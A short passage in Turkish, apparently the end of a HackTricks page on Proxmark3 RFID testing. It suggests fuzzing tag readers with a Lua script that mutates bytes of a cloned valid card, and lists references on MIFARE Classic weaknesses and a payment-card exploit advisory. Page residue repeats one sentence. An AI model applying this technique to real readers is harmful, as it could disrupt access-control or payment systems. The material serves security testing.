Bir **fuzz tag okuyucuları** için bir script oluşturabilirsiniz, böylece bir **geçerli kartın** verilerini kopyalamak için sadece bir **Lua scripti** yazın, bir veya daha fazla rastgele **baytı** rastgeleleştirip **okuyucunun çöküp çökmediğini** kontrol edin.
|
||||
**fuzz tag readers** yapmak için bir script oluşturabilirsiniz; bir **valid card**'ın verilerini kopyalayarak, bir veya daha fazla rastgele **bytes**'ı **randomize** eden bir **Lua script** yazın ve herhangi bir iterasyonda **reader crashes** olup olmadığını kontrol edin.
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [Proxmark3 wiki: HF MIFARE](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Mifare)
|
||||
- [Proxmark3 wiki: HF Magic cards](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Magic-cards)
|
||||
- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
|
||||
- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user